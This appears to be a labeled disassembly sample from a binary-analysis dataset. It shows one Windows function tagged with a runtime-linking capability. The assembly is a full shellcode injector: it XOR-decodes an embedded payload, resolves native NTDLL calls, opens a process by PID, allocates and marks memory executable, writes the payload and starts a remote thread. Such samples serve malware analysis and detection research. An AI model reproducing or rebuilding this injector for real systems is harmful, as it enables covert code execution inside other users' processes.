Function at 0x1400017d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x320
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x2c0], ecx
mov qword [rbp + 0x2c8], rdx
call sym.__main
mov qword [rbp + 0x250], 0
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x298], 0
mov dword [rbp + 0x294], 0
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x288], 0
mov dword [rbp + 0x284], 0
lea rax, [rbp + 0x30]
lea rdx, [0x1400052c0]
mov ecx, 0x40
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov byte [rbp + 0x283], 0x4b
mov dword [rbp + 0x29c], 0
jmp 0x140001892
mov eax, dword [rbp + 0x29c]
cdqe
movzx eax, byte [rbp + rax + 0x30]
xor al, byte [rbp + 0x283]
mov edx, eax
mov eax, dword [rbp + 0x29c]
cdqe
mov byte [rbp + rax + 0x30], dl
add dword [rbp + 0x29c], 1
mov eax, dword [rbp + 0x29c]
cmp eax, 0x1fd
jbe 0x14000186a
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0x200
cmp dword [rbp + 0x2c0], 1
jg 0x1400018de
mov rax, qword [rbp + 0x2c8]
mov rax, qword [rax]
mov rdx, rax
lea rax, str.____correct_usage:__s__PID__n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x2c8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x298], eax
mov eax, dword [rbp + 0x298]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0
pxor xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp], xmm0
mov dword [rbp - 0x20], 0x30
lea rax, str.NTDLL
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x14000196b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____unable_to_get_a_handle_to_NTDLL__error:_0x_lx_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x288]
lea rdx, str.NtOpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x288]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x288]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x288]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x288]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
lea rcx, [rbp + 0x10]
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x250]
mov r10, qword [rbp + 0x278]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140001a67
mov eax, dword [rbp + 0x284]
mov edx, eax
lea rax, str.____could_not_open_process__error:_0x_x_n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x250]
mov rdx, rax
lea rax, str._i__Got_handle_on_process:__0x_p_n_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x250]
lea rcx, [rbp + 0x20]
lea rdx, [rbp + 0x240]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r10, qword [rbp + 0x270]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140001ae8
mov eax, dword [rbp + 0x284]
mov edx, eax
lea rax, str.____could_not_allocate_memory__error:_0x_x_n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x20]
mov rdx, rax
lea rax, str._i__Allocated__zd_bytes_to_the_process_memory_n_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x250]
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x238]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp + 0x258]
mov r9d, 0x40
mov rcx, rax
call r10
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140001b5f
mov eax, dword [rbp + 0x284]
mov edx, eax
lea rax, str.____could_not_change_permissions__error:_0x_x_n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x20]
mov rdx, rax
lea rax, str._i__Changed_memory_permissions_n_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x240]
mov rax, qword [rbp + 0x250]
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp + 0x268]
mov r9d, 0x200
mov rcx, rax
call r10
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140001bd3
mov eax, dword [rbp + 0x284]
mov edx, eax
lea rax, str.____could_not_write_memory__error:_0x_x_n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
lea rax, str._i__Written_shellcode_to_the_allocated_process_memory_n
mov rcx, rax
call sym.puts
mov rdx, qword [rbp + 0x240]
mov r8, qword [rbp + 0x250]
lea rcx, [rbp - 0x20]
lea rax, [rbp + 0x248]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp + 0x260]
mov r9, r8
mov r8, rcx
mov edx, 0x1fffff
mov rcx, rax
call r10
mov dword [rbp + 0x284], eax
cmp dword [rbp + 0x284], 0
je 0x140001c7a
mov eax, dword [rbp + 0x284]
mov edx, eax
lea rax, str.____could_not_execute_thread__error:_0x_x_n_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x140001cbd
mov rax, qword [rbp + 0x248]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x248]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x250]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x320
pop rsi
pop rdi
pop rbp
ret